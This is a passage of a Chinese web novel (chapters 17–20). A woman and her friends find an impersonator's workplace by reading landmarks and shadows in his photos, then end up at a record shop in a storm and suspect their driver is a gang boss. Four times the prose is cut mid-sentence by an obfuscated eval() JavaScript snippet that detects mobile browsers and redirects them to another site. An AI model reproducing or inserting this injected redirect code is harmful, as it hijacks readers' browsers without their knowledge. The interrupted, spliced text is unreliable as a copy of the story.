两年后的现在,注册手游,消费大幅降低,重度游戏脑,跟在端游时对比明显…… “云深姐,你看这个。”研究了一阵,福娃叫她。 这会儿福娃跟小唐已经在看暗黑的朋友圈截图。图没几张,福娃一看,发现大多都是搬的他的。 个中差池,福娃这个本尊自然更能察觉,比如眼前这张: 文字描述“夜很美。”配图为一扇窗,窗外是夜晚,高楼林立。 “这是我没发过的内容,”福娃说着翻出另一张,“还有这张,也是同一个位置!” 配文是“无聊……想念。”照的是同一扇窗,窗外有太阳与云霞。 蔡云深看两张图的发送时间:都是今年6月,工作日。 马上反应过来—— “这该不会是暗黑上班的地方?” 17. 两张图 福娃听到这,试着用网络识图,却根本辨认不出什么。推送的相关照片也天南地北,没一处像的,只能说这个窗景太没标志性。 蔡云深让小唐把白天那张图放大,好不容易才在远景里找到两个建筑物带标牌,非常模糊: 一个写“江安X非酒店”。看来暗黑果然人在江安——至少工作地在这; 另一个一半在阴影里,看不清楚,只知道第一个字是,“腾”。 福娃努力辨认:“腾成……这是腾成什么?” 蔡云深看得再仔细些,发现“成”字跟“腾”字比略小,应该还少个部首—— “不是腾成,”她推测,“估计是腾盛?” 福娃:“腾盛?也没听过啊。” 在网上搜索“江安”,“腾盛”,找到一间房产公司。看看公司主营业务,再回去一一比对: “腾盛……广场?” 搜“腾盛广场”,发现江安有两处。只有一处附近有“江安明非酒店”。 就是这个! 蔡云深盯着图想了想,随即喊贱皮,让他找纸笔来。 纸笔很快送到,但来送的人竟然是于岳望。送了也不走,赖在一旁抱个手围观。 蔡云深不管他,先根据第二条动态的发布时间,确定是落日,推断暗黑所在的位置面朝西; 再让小唐把这张截图打开,放纸上,用自己的手机打开地图,对比截图放大; 最后根据“面朝西”调整方向,抽两根筷子,把照片上的两个坐标点和拍摄点分别连成线,再找到两条线的交点,拿地图盖上去,找交点对应的区域: 暗黑拍照的所在地,是江安城南、护城河畔的某个地方。 但这么操作有明显的问题,福娃也意识到了: “这相片有视角差。图上看不出来,放大到真实尺寸,那差距可大了。” 是啊。差之毫厘,谬之千里。 见蔡云深失落,福娃又找补: “但起码你这么做,找出了对应的大范围区,这已经很厉害了!大不了我们去附近挨着问、挨着找!” 怎么可能?一栋楼几十户,一条街几十栋,要找谁、长什么样子?不知道。 几条街都够他们找的。 蔡云深重新打开两张截图,努力辨识还有没有其他路标。在旁一直看的于岳望这时支招: “要不试试没标识的地方?” “没标识的?”被激起兴致也一同找路标的小唐努力理解,“你是指?” 于岳望放下手,弯低腰,认认真真地告诉他们: “比如河流,马路,还有这些没有字牌但是有颜色的建筑物,”说着指图中那些大楼,“这栋是蓝色,这是红色,这是米黄……还有绿化带……” 于岳望一边说,一边看蔡云深。她一下就心领神会,在纸上把街景转化成平面图,做好标注,再附上颜色说明跟方向。 “还有光照,”于岳望说着将图放得更大,“看这,有大厦和行人的……” 蔡云深也反应过来:“影子!” “对,影子。”于岳望柔声,“可以用来进一步核定拍照时间,因为拍照和发状态的时间并不一定相同;再就是能对照行人的身高,算出拍照者所在大厦的大致高度。” 蔡云深一边听,一边惊讶于他这个侦探爱好者似乎确实有点经验。直接把笔给他,还起身让他坐下,要他把看到的其他重点全写下来。 有座位了,于岳望动手也快点。但他不是在纸上继续,而是把蔡云深画的图转绘到手机上,并且用不同颜色画出建筑物、绿化带和河流。搞定后对小唐说: “那两张截图,麻烦你也发给我。” 旁观的小唐这才回神,先加于岳望好友。又听他说: “可惜只是截图。要是现在还能进暗黑的朋友圈,说不定能直接查到他位置。” 小唐一边发图一边道:“不行的,暗黑不允许陌生人进朋友圈。而且就算进去也没用,他的动态不显示实时位置。” “不仅是动态,图片本身也带信息,”于岳望解释,“要是运气好,碰到他拍照没关GPS,发的又是原图,那么通过图片详情,就能看到拍摄地的经度纬度高度,直接定位他。更别提朋友圈里应该还有其他信息可挖……除了他复制福娃那些。” 另外三人听到这都怔住,暗自回想自己有没有在朋友圈泄露过多隐私。 “不过这两张截图也足够了。大致位置我们找得差不多,我让人帮忙用系统比照下,应该能更精确。” 蔡云深闻言好奇:“系统?什么系统?” 于岳望:“各式地图,3D模型,查光照的网站……之类的。” 还能这样? 对比之下,她筷子定位那套有点原始了。 福娃:“那工作量应该不小吧?分析这两张图要等多久啊?半天?” “不用,”于岳望盯一眼微信,“对方已经回信息了,说明她没午睡。等她上个楼……慢的话一刻钟,快的话……几分钟?” 几分钟?! 她粗略划定的区域可不小,就算加上于岳望后来添加的信息,要计算后加以排查…… 半天用不上,没半个小时也下不来吧? “你们接下来什么打算?”还没想通,就听于岳望问。 两个小朋友转头看蔡云深这个主心骨。 蔡云深:“先继续查截图,如果你朋友真能定出方位,时间又还赶得上,我们就去那边看看。” 于岳望:“时间怎么会赶不上?” “从这出发去城南那边,开车要一个多小时,现在快三点了,”蔡云深说,“能赶在下班前到暗黑的工作地,我们再去,不然下班了也是扑空。而且今晚小唐家里要聚餐,对吧?” 小唐点头:“最迟七点,我得到那里。” 道理说尽,于岳望的回复却是:“赶得上,”他说,“你们先继续,我回小区把车开出来,我送你们去。”说着看信息,“我朋友说,再给她三分钟。” 这速度再次震惊蔡云深。但她还是想到:“你下午不用在茶馆?” 于岳望脱围裙:“茶馆就中午这茬吃面的多,在小区捞个人帮忙顶下午就好,”说着看蔡云深,“还是说,你仍然觉得这事跟我没关系?” 既然福娃不是暗黑,于岳望自然不可能包庇他。看他办事效率,真像有不少经验的样子。 而且,他似乎还有外挂? 可是一开始质疑于岳望、把别人委托人抢走的是她,这种时候,怎么自然地下台才好? 见她闷声,于岳望又开口:“我自愿去给各位当司机兼保镖,还求大家给个机会?”说着补充,“不算委托。” 这台阶给的。 蔡云深: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070301|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就麻烦你跑一趟?” ——别的不说,单看这家伙的身板,扛打。 * 在茶馆等了一阵,于岳望开来一辆白色面包车。外型不起眼,比她那台二手车还旧。开门却发现前面安了个智能屏。 这车子也能智能? 一边想,一边跟小唐坐到后排。车沿着相思河往外开,一路的残垣。 整个厂区破破烂烂,拆到只剩房梁的危楼就像簇簇骨架。 在骷髅间,一座高塔耸立。 蔡云深一直不敢认真看水塔,总觉得毛骨悚然—— 阴气很重。 “那水塔现在还在用吗?”不禁问。 福娃看窗外:“你是说那个塔吗?原来它是水塔啊?” 蔡云深:“对啊,用来蓄水的。” “早不用了,”开车的于岳望答,“只是一直没拆。” “为什么不拆?”蔡云深奇怪。 “为什么要拆?”福娃说,“我觉得那个塔挺独特的,之前自拍还特意用它当了背景。” “暗黑以前用那张自拍做过头像,”这时小唐开口,“我就是在小区门口看到了那个水塔,跟照片里的角度一模一样,才确认福娃哥哥你就是照片里的人!” “……小唐,”福娃面色痛苦,“能不能跟你商量个事?” “什么事?” “你直接叫我福娃怎么样?别加‘哥哥’。” “为什么?”小唐不明白,“你比我大3岁,不就是哥哥?” “别问原因,就当我求你!” “……好吧,福娃。” 称呼是改了,福娃的愤怒仍不能平息:“这个姓暗的,等我把他找出来,非揍他一顿不可!”摩拳擦掌。 小唐:“我也要!” 蔡云深:“我支持!” 群情激奋,唯有当司机的于岳望蹙眉,硬生生掐断对暗黑的声讨—— “通仔。”他对着屏幕喊。 智能屏很快回应,声音是一个年轻男人,对答也非典型: “干嘛?” “听广播吧。” 通仔打开广播: “欢迎大家回到调频94.6,江安交通!”主持人热情万分,“接下来继续来到我们的都市传说系列!今天,我们聊江安那些有名的凶宅……” 好巧不巧,讲到他们正要去的城南: 主持人说,有对外地夫妇搬来江安,见城南一处豪宅价格不到市价一半,就买下来。住进去后,女儿一直生病。 找人看风水,说是宅中有少女冤魂。一去了解才惊恐得知,前任房主的女儿当年正值花季,被人杀害,客死他乡: “你想想,她最后一刻得有多不甘愿?多想回家?”…… 福娃和小唐听得津津有味,蔡云深却不适,捉紧衣角。 她最怕这种凶杀类故事了。就连小学看的《名侦探柯南》,长大后都不敢回看。 骨气全无地悄悄低头,抬手堵自己耳朵。却还是听到主持人的声音—— “为什么说是冤魂呢?因为这桩案子啊,到现在依旧是悬案。” “凶手没抓到?” “不仅没抓到,还有传闻,说这个案子居然跟那个臭名昭著的红十字杀人魔有关!” “这怎么可能?!江安人谁不知道,红十字杀人魔已经……” 18. 暴风雨 于岳望:“通仔,关电台。” 广播应声停止。“搞什么啊鸿叔叔?”竟是年纪最小的小唐兴致最高,“正讲到精彩的!” “精彩什么精彩?这种东西听多了不怕晚上做噩梦吗?”于岳望说她,“还有啊,我不姓洪,我姓于。” 小唐:“好好好,于叔叔。这也能做噩梦?” “是啊,我胆子小。”于岳望认怂时特别坦荡,“所以别听这个了。”说完让通仔开静听,播他的收藏。 得救了,听歌。 蔡云深刚觉放松,就听车内响起一阵强劲的bgm。 火爆的迪斯科震耳欲聋,整个面包车仿佛要原地开蹦。DJ还喊口号—— “大家跟我一起,嗨起来!” “这个洪运连!把什么怪东西加我收藏了?!”于岳望咬牙切齿。 福娃反应过来,大笑:“是洪哥的品味没错!” 大喊换歌单,播今日推荐。结果出来又是动次打次。男人破防:“能不能播点正经的?人工智障!” 口令错误,通仔不理他。倒是福娃边笑边甩头: “这歌怎么不正经啦?开车听很提神啊!而且你骂通仔是人工智障,小心古墓姐听到追杀你!” 于岳望烦躁:“通仔!” “干嘛?” “给我放那个,”一时脑袋打结,“那个什么……就那个……” “正在帮你搜索,‘那个,那个什么,就那个’……没有找到曲目,即将为你播放,歌曲《那个那个》。” 眼见于岳望在福娃和小唐的笑声中崩溃,蔡云深决定伸出援手—— 于岳望喜欢的歌,她知道:孙燕姿,周杰伦…… 莫文蔚。 “通仔,播《盛夏的果实》。” 前奏响起。坐她前面的人瞬间放松。从后视镜瞄到他眉头舒展,蔡云深问他: “师傅,这歌正经吗?” 于岳望一副“这才是音乐”的神情:“舒服,感谢。” 福娃也听得陶醉,还探身确认歌曲名字:“《盛夏的果实》,好听,记下了。” 蔡云深惊讶:“这歌你第一次听?” “是啊。” “真的假的?《盛夏的果实》诶!你小时候没听过?” 于岳望偏头提醒后座人:“这张专辑00年1月出的,那年福娃刚2岁。” 蔡云深这才反应过来,问岁数更小的小唐:“你也没听过?” “我听过啊!”少女答,“我妈妈经常唱!” 瞬间就感受到代沟: 小唐和福娃在一边,她和于岳望在另一边。 随即想起一个好笑的,问两个小朋友: “你们说,两个英文字母g写在一起,什么意思?” “gg?”福娃先反应,“goodgame?” 小唐也答:“对啊,游戏结束的时候用的。” 蔡云深:“没错,但它还可以当人称。举例:‘你是gg还是mm?’” 这下福娃彻底不懂:“什么东西?” 蔡云深点名让于岳望答。30岁的男人如她所料,给出充满沧桑感的正解: “你是哥哥还是妹妹。”说完还评价,“真是老掉牙。” 蔡云深莞尔。福娃却不爽了: “你俩对暗号呢?想孤立我和小唐是不是?” “什么孤立啊,”蔡云深说,“我只是感慨自己不知不觉间,已经成了旧时代的残党。” “这个梗我就知道!”福娃开心,“《海贼王》!” “《海贼王》你看过?” “当然了!”福娃说,“我还看过《名侦探柯南》呢!小时候他年纪比我大,现在我都大人了,他还是小学生!” 蔡云深惊讶:“我刚才还想起这动画!我们那时是…江安几套播来着?”说着又点名,“于岳望?” 这一次,老司机令她失望了:“没看过。” “不是吧于叔叔,”连小唐都诧异,“你一个‘名侦探’,居然没看过柯南?” 于岳望:“等等,我刚才就想问,为什么你叫蔡云深姐姐,叫我叔叔?” 小唐顾着憋笑,不答话。蔡云深帮她: “非要人说出来?不就是我显年轻你显老?”说着得意地透露,“再说了,我、小唐和福娃,可是牢不可破的同盟,岁数差再多,也是兄弟姐妹。” 于岳望闻言奇怪:“你们三个人,同什么盟?” 蔡云深:“你别管。” 福娃笑开:“望哥,这下轮到你被孤立!” 于岳望不屑:“要孤立也是我孤立你们三个好吗?” 小唐:“好强大的内心。” 蔡云深:“好厚重的脸皮。” 被群攻的男人“啧”了一声。 蔡云深:“干嘛,有意见?” “没意见,”沉声答完,于岳望说,“我只是瞧着这天,好像要下暴雨。” 蔡云深闻言看窗外,这才发现头顶上乌云密布。 是她草率了—— 江安台的天气预报,果然很准。 * 到城南护城河畔时,雨已经下得轰轰烈烈。 在于岳望扒出来的目标位置附近绕了半天,终于找到一处地下停车场。车停好后,于岳望说后备箱有伞。他和福娃一把,蔡云深跟小唐一把。 撑着伞走进雨幕,天空就响起雷声。 蔡云深下意识微颤。 好不容易淋到目的地—— 眼前的五层写字楼年代已久,在狂风暴雨里歪歪斜斜,好像下一秒就会倒塌。 心神不宁地进去,一个中年女人在破旧的前台打瞌睡。 福娃要上前寻问,于岳望拉住他:“我们直接上顶楼。” 这么一句,女人醒了。“你们几个,登记下!” 外交达人福娃应声过去。看清他的长相,女人语气都温和几分: “你们去五楼?” “对。” “那里是空的呀,”女人告诉他,“旧公司倒闭了,新公司还没搬进来。” 在旁的小唐听到这句很是惊讶:“倒闭?什么时候倒闭的?” “上个月吧,搞网贷的。” 这时间一出,小唐的脸色都苍白。又听女人问: “你们也来讨债?” 福娃随机应变,“不是,我们来找朋友!”答完又问,“怎么,有人来讨债?” “是啊,好几拨呢!”女人答,“还有人带了打*手来,我们报了警。” 登记完,一行人去电梯。都进去了,蔡云深还在想女人的话: 暗黑的公司真的在这楼上?倒闭了?为什么? 公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076868|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 司不在了,还能追得到线索吗? 更令她觉得奇怪的是,于岳望刚才走进来,问也不问,就直接说上顶楼。 从小唐提供的那两张截图,分析出这幢写字楼所在的位置已经很难。竟然能定位到楼层?甚至连个浮动范围都没有,就是精准到五楼,得出结果的速度还那么快? 总觉得不对劲。想把事情理清楚,大脑却不听使唤—— 自从暴雨开下,她整个人就像生了锈,躯体越来越僵化。 许江是对的。暴雨天的时候,她不适合出门。 浑浑噩噩下电梯。果然,这里人是没有的,只有一盏坏掉的应急灯,忽明忽灭。所见之处空洞洞、乱翻翻,颇有鬼片开场那意思。 蓦地就想起刚才听的电台节目,说什么凶杀、冤魂…… 又是一阵灯亮。惨白的灯光照出地上躺倒的人影。 蔡云深吓得一把抓住走在前面的人。 再一看,不过是个倒地的立牌。刚长舒一口气,就发现被她捉住衣襟竟是福娃。 蔡云深连忙撒手:“抱歉,我还以为是小唐……” “没事,”听出她不安,福娃停步,转头安慰她: “别害怕。有我在,不会出事的。” 见蔡云深神色依然紧绷,福娃告诉她:“归凤婆婆说过,我这个人阳气足,就算刚才倒地上的真是阿飘,见了我也得背八荣八耻!” 这一句玩笑话,让蔡云深终于找回半点勇气,跟着福娃一起转角。 哪想到这一面更可怕: 唯一的鬼灯熄灭,四周漆黑。长长的走廊传来宛如悲啼的风雨声,唯有尽头的窗亮着。 冲在前面的于岳望和小唐一眼发现它,“就是那!”小唐高喊。 眼见两人往窗口奔去,福娃也加快步伐。蔡云深落在最后,却越走越慢,到后来停步。 三个人都已经到窗边,唯有她远远呆立。他们说了些什么,她再听不见,满耳只有暴风雨的呼啸声。 就在这时,一阵闪电亮起。远方的窗被照亮,在蔡云深眼中,它渐渐变作一枚漩涡。周围的景象都虚化,只有漩涡深邃,开始引诱她、吸附她,要她跳下去。 那感觉就像有时看着刀,她会想象用利刃切下自己的手指。就像切一块面包,不同的只是:面包不会溅血。 每当这时候,蔡云深就知道自己累了,需要休息,扔开那把刀、远离那扇窗。 狼狈地后退、逃走。直到脑海里不再有血淋淋的画面,才靠在墙上喘气。 却在这时,发现脚边有东西: 好像是一盆枯萎的绿植。微光中,有什么东西在花盆旁蠕动。 蔡云深怔怔看着朝自己爬来的黑影,只觉刚被自己硬生生摁回体内的魂魄再度升空。 灵与肉的撕裂叫她喘不过气,一时间头晕目眩,难受到想要作呕。 如果此刻真的在这里吐出来,源源不断从她口中冒出的污秽,只怕会是她自己的灵魂。黏稠失形,辨不清面目。吐到只剩皮囊干瘪,宛如蛇蜕脱落…… 那么,这副皮囊,又是属于谁的? 仿佛又回到那个极黑暗、极阴湿的所在,满鼻是血腥腐臭。光所不及之处,密密麻麻都是老鼠。 意识崩溃前,蔡云深听到一个声音—— “别过去,” 黑暗中,有人在她耳边道。 19. 音像店 蔡云深在苇草丛中奔跑,跑着跑着突然反应过来, 她又做梦了。 明白这一点后,她惶惶然想,难道沉睡开始了? 这一次会睡多久?会不会再也醒不来?在现实中,她此刻身在何处,是否安全?…… 不安地前行,直到看见熟悉的人。 于岳望。 理开苇草走过去,这一次,男人发现她,“蔡云深。”他叫她。 问他什么事?他又不答。只是又转头看着悬崖,讨厌的谜语人。 蔡云深猜不透谜语,却熟悉这个人的神情—— 她之所以害怕看凶杀片,就是因为害怕这种神情,在那些罪犯脸上。 忍不住问于岳望,在这里做什么? 他答,等人。 等什么人? “想杀的人。” …… 蔡云深一梦惊醒。 一阵钝痛从后脑勺袭来。眼睛是睁开了,但她完全不明白这是哪。 明显已经不是那幢闪着鬼灯的写字楼。这里很亮堂。她躺在一张沙发上,冷气开着,身上还搭了条凉被。 可是,同行的人呢? 再一回想,小唐他们在写字楼另一边,或许连她不见了都没发现。 最后的记忆停在黑暗中一盆绿植附近,当时身体的失控感,分明是沉睡症来袭的前奏。 但后脑勺怎么会疼? 就像被人打过。 而且晕倒前,她分明听到谁说话。 蔡云深揉着头起来,耳里传入雨声,还有隐隐约约的乐声和说话声。 循声走到门口,就发现下面有楼梯—— 原来,她此刻在一处阁楼上。 楼下有两个男人正说话,一个叫另一个“老大”。 蔡云深仔细听。 距离有些远,内容不太清晰,好像是说接到谁的电话,抱怨这两天场子本来就忙,还来个添乱的,教又教不会,跑又跑不动。 “教不会就算了,怎么会跑不动呢?”那老大问,“他以前在兴隆帮开拳馆的。” “坐牢坐废了呗,”手下答,“拳脚不行了,还挺爱多愁善感,让他起码管的时候凶一点,他居然说什么,狠不下心来,因为相处多了生感情?” 男人不满地咋舌,随后,他竟然说:“跟死人相处就不会生感情。” “饶了他吧老大,这个他都做不来!……” …… 一番黑话听得蔡云深愕然,一下想起来前台提供的情况: 她说有人来讨债,带着打*手。 完蛋。该不会是阴差阳错,她被当成那间网贷公司的员工给人扣走了? 她是落到了什么样的狂徒手里,才能都法治时代了,还坏得这么肆无忌惮? 六神无主,两人接下来的对话便听得囫囵,直到那手下忽然点名—— “我说老大,嫂子怎么大晚上的还戴个墨镜啊?” 蔡云深整个人都不好了。 同样不太好的还有那个老大,一下来了火:“都说了让你别乱称呼!” 手下没皮没脸:“我又没当她的面。” “没当面也不行!”语气里尽是烦躁,“别给人瞎造谣,也别给我惹麻烦!” 话堵死了,手下不敢再犯,只跟念经似的嘟囔:“前尘往事没意义,别跟自己过不去……还以为你放下了。” “我放下什么?” “旧情人啊!”手下道,“贱皮说的,你不仅早恋,还被甩,搞到至今放不下!” “没这事,别瞎扯!”男人直接否认,“贱皮小时候误吃了老鼠药,他说的话你也信?” “为什么不信?老鼠药伤的是脑子,又不是耳朵!人家天天在茶馆里边,听了你好多事儿!”手下说着列举,“不是被人甩,那就是其他选项:要么六根清净、一心向佛,免费做好事也是为了日后当和尚;要么……”欲言又止。 “要么什么?” 手下贱兮兮:“我不说,我怕你打我。” “我什么时候打过你?” “要么就是中看不中用,看着虎背熊腰,其实根本……哇我错了!救我呀古墓派!” 一个清冷女声随即响起:“老大,要不你上楼看看?这小子这么吵,万一把人给吵醒了?” 蔡云深听到这,赶紧原路返回,躺倒假寐—— 至此,她已经听出这个黑老大是谁。 什么名侦探、鸿运通,都是幌子。一面装成大善人,都要遁入空门了;一面却在做灰色生意,什么场子,帮会,坐牢…… 甚至死人? 许江,你糊涂啊,还从小看到大? 去哪里不好,偏要搬进这种双面恐怖分子的家? 正想着该怎么打包包括许江在内的一切,从天心小区跑路,就听男人真的上了楼。 到门口,脚步声暂停。之后,他朝着沙发这边走来。一步,又一步。 蔡云深摒住呼吸。 然而,对方只是到她跟前,捡起被她遗落在地上的凉被,帮她重新盖好。 他很危险—— 本能如此叫嚣,理性却另有想法。 理性怂恿她去确认,会不会是她太紧张,才导致刚才听错了什么、会错了意? 蔡云深睁开眼。 见她醒来,刚才还在楼下“叱咤风云”的于岳望明显一惊。但很快就平息神色,又是那副天塌下来也不从他心头过的样子。 “醒了?” “嗯。这是哪?” “音像店二楼。” 音像店? 他们在下面喊打喊杀的,居然是在音像店? 难怪下面有乐声。 一边想一边坐起来,这才发现阁楼另一面放了张写字台。桌上有一摞书,其中一本打开来、倒扣着。后面有个房间,关着灯,用水晶门帘遮掩。门帘后,星星点点的灯豆闪烁,好像某种机械。 这么一看,这阁楼还真像处秘密基地。 倒是很符合某人偷偷混黑*道的人设。 但是,黑*道真的可以这么不设防,随便把人领到这里来? “我怎么会在这里?”干脆直接问。 “……你之前在网贷公司那里晕倒了,我带你过来。” 只是这样? 那她后脑勺呢?难道是倒地时撞的?当时对她说“别过去”的人又是谁? 还是说,他在撒谎。 “小唐他们呢?” “你晕倒后,我们就分头行动了,”于岳望解释,“福娃送她去了聚餐的地方。” 蔡云深更不理解:“外面雨那么大,为什么分头行动?就算我晕倒,他们也可以坐你的车啊?” “因为方向不同,”于岳望对答如流,“我带你去了那附近的医院。医生检查了,说你没事,只是睡着了。” “那就更奇怪了,”蔡云深直接问,“为什么把我送到这里来?既然我没事,不该直接带我回家吗?” 题题致命。 于岳望没办法,只能给出一个一听就很含糊的答案: “……这边临时有点事,需要我亲自来办。” 这才是他想拼命掩藏的: 为了处理他见不得人的生意。 “可是,你最近不是睡得很好吗?”正在因此动摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17080176|195002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就听男人问她,“为什么会突然睡着?” 这下轮到蔡云深语塞—— 她要怎么告诉这个人:因为沉睡症。 “等等。”意识到什么,蔡云深问于岳望,“你是怎么把我送去医院的?又是怎么带上这个阁楼?”背着,还是抱着? “……” 再答不上来。不仅如此,这人还明显地把视线撇开。 蔡云深乘胜追击,上前一步,想接着逼问,就在这时看清写字台上那本唯一打开的书—— 《香水》。 这小说太有名,即使她不读也听说过,知道主角是个变态杀人狂。 它和其他书不一样,打开着,理由很简单: 因为先前,有人在这里读它。 蔡云深看向于岳望。 蓦地就想起刚才的梦。在梦里,男人神色阴沉,说他在等一个人,一个想杀的人。 他说,“跟死人相处就不会生感情”。 瞬间认清形势,没了半点要对峙的愚勇。 正打退堂鼓,于岳望说话—— “你现在觉得怎么样?”问她,“还需要休息吗?” 蔡云深连连摇头:“不,不需要。” “那我们回去吧。” “你……要办的事办完了?” “办完了。” 于岳望说着转身,从书堆里找出另一本连塑封都没开的新书就要走,不理其他那些。 蔡云深试探:“你刚才看的那本不拿?” 于岳望果然看向《香水》。 “不拿,”他答,“那本家里有。” 家里有,也就是说他早就读过。 是有多喜欢这本杀人狂小说?看了还看? 越想心越沉,转身想逃,就被身后人叫住:“等等!” 蔡云深心脏漏跳半拍。 然而于岳望不过是想提醒她—— “你墨镜还没戴。” 蔡云深狼狈地回头,找墨镜。 * 下楼。在楼道上,又听见那手下的声音: “钱转了啊,我洪运连,愿赌服输!” 之后是女人:“都跟你说了,什么女朋友啊,不可能。” “现在不是,不代表以后也不是!” 蔡云深一下听明白:这个洪运连原是跟人打赌,才会故意八卦探底,甚至扯那些天心小区的闲话。 可他会输是必然的—— 他连他老大喜欢哪种性别都没摸清楚,竟会把她当“嫂子”。 正想着,就见走前面的于岳望加快步伐,黑着个脸下去。外面瞬间安静。 蔡云深刻意在楼道里站了几秒,才缓步跟着迈下去,并且摆出一副假装什么都没听过的神情—— 她可还想安安全全离开这里。 然后,刚踏进一楼,神经再紧绷也放松: 和记忆中卖磁带、CD,租电影、电视剧的老式音像店不同,眼前这家店卖的是黑胶唱片,有二手的,也有新品。 它还卖咖啡,连空气里都飘着咖啡香。吧台一侧有唱机,此刻正播着爵士乐。碟片转动,悠扬的男声唱着不知名的英文歌。一男一女在吧台闲适地坐着。 男人自然就是洪运连,寸头,吊梢眼,长了张娃娃脸,看着跟福娃差不多大; 女孩跟洪运连年纪相仿,外貌却比他更夺目: 她留一头浅色长发,双手都有刺青。 在蔡云深看来,这人美得恣意凌厉,眉目清楚,神情却异常淡漠。 只有当于岳望走近吧台时,她才有了动作,指着正播的唱片告诉他: “找到了。” 20. 既视感 于岳望想找什么歌,蔡云深不知道。但她确实喜欢这里: 可以听音乐,喝咖啡,或者跟谁聊聊天。还有新旧掺杂的书本可取阅。 是咖啡馆,唱片店,或者书吧……其实很难定义。 还是就像于岳望说的那样,就叫它“音像店”。 完全被吸引,危机感便抛脑后。以至于男人突然过来,说要去附近药房卖个药,让她自己先逛,她也觉得没问题。 于岳望离开后,剩她一个徜徉在唱片区,一边走、一边看。 等她察觉到,那个已消失在虚拟世界中的某某已然再次出现在她想象中,仿佛与她同行,跟她点评这家店哪些音乐他喜欢,哪些实在不行;哪些风格近似,沧海遗珠,值得去听听看;如果适合,可以拉进歌单…… 有生之年,要是能和山风见面,那么她希望是在这种地方。 刚想到这,就看到一张唱片。天幕是紫罗兰,一对情人闲适地坐海滩。只看得到背影。 右上角写着专辑名字,《LongVacation》。 蔡云深看着那画面。 发着呆,乐声停止。女孩将唱片换了一面,重新放下唱针,音乐继续。 这一首她就听过了——《FlyMeToTheMoon》。 在男人的歌声中继续前行,脚步也变轻快。仿佛乘着这旋律走下去,就能步向夜空。 要去月球上,仿佛和谁有约定。不顾一切奔赴的感觉像千万只蝴蝶,轻煽羽翼,在一片玫瑰花海中。长发被吹起,她仰头,在花香间,听到风。 蔡云深走到小径尽头。那个无端出现在她梦中的男人就在这时候从外面回来。带着雨的气息,他走向吧台。 这一次,没有浓雾和悬崖,只有暖色灯、咖啡香,和一首老歌。就是这时,蔡云深才发现吧台后面也是唱片墙—— 最中心的位置,放着《蔷薇山谷》。 乐曲还在继续,就像她的心弦漾出余音。看着于岳望,她想,就当是一厢情愿吧。 在这首歌结束前,只有她可见的月光,曾攀上他背影。 然后,回到现实, 夏日夜晚,一个雨夜。 音乐停止,女孩帮于岳望装唱片,一边收理一边质疑: “其实,阿波罗登月到底是真是假?” “当然真的!”洪运连毫不怀疑,“我读书少都记得小时候学过,”说着还转冲这边眨眼,“科技与浪漫,对吧?” 于岳望不接话,只把刚才放吧台的小说也递过去:“这本帮我一起算。” 好奇那是什么书,蔡云深上前探看,发现书面写着—— 《盛夏的果实》。 走出音像店,外面还在下雨。 蔡云深如一个散场时站在戏院出口的人,总觉得还有什么在挽留她脚步。 意犹未尽地回头,就发现上面赫然写着: “残梦音像”。 再往上,是刚才她所在的阁楼。外面挂的那个招牌她就见过了—— “鸿运通。” 有什么就要连在一起。思绪纷飞时,伞檐覆过来,掐断她视野。 “走吧。”撑伞的男人说。 蔡云深跟他并肩进雨帘。 雨还在下,但已不是疾风骤雨,而是丝丝点点。这总令她逃避、讨厌的雨天,今夜如此温柔。 细雨飘落,路灯照亮地上的积水,水里是影影绰绰的颠倒世界。步履轻踏,那个世界便如烟雾般湮灭了。 蔡云深踩着雨,踏进梦。 “既视感”这个词,好像是舶来品。说的是眼前这一幕似曾相识,还爱用“前世”、“缘分”一类的词来当注脚。 今晚,她就总泛起的感受。好像闯进一个故事里,有些环节隐去了,剧情却可以继续。一张专辑,一首老歌,一个她未曾晤面、却很熟悉的人,一本小说,名叫《盛夏的果实》…… 问于岳望那小说讲什么的?他答讲查案子,凶杀案。 小说外加凶杀,都是她不会触碰的领域。但几小时前,在来的路上,是她给于岳望放了那首同名的歌曲。就像冥冥中知道,这本书,注定会和她在这个迷离的雨夜相遇。 谁能证明此刻偶然发生的异动,不是一场来自多年前的余震。结局早在开始那一霎就定好,结局就是开始。过去就是现在。带人往返只是时间。但时间不会说话。 时间不会告诉她。 时间推着她上车。坐上副驾那一刹,蔡云深终于捉住某个既视感的正体—— DJ串烧……洪运连! 所以,造成面包车蹦迪的罪魁祸首,就是刚才那家伙! 如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 